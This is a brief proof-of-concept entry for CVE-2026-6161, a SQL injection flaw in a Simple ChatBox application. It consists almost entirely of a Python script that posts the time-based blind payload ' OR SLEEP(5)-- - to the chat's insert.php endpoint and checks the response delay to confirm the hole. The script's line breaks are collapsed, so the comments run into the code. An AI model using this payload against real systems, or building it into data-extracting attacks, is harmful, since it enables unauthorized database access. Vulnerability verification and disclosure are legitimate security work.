CVE-2026-6161 Simple ChatBox SQL注入漏洞

import requests # Target URL configuration target_url = "http://target-host/chatbox/insert.php" # Define the payload for SQL Injection test # Example: Time-based blind injection payload to trigger 5 seconds delay payload = "' OR SLEEP(5)-- -" # Prepare the data payload data = { "msg": payload } try: # Send POST request to the vulnerable endpoint response = requests.post(target_url, data=data) # Analyze response time or content to verify vulnerability if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection detected.") else: print("[-] Vulnerability not detected or payload failed.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")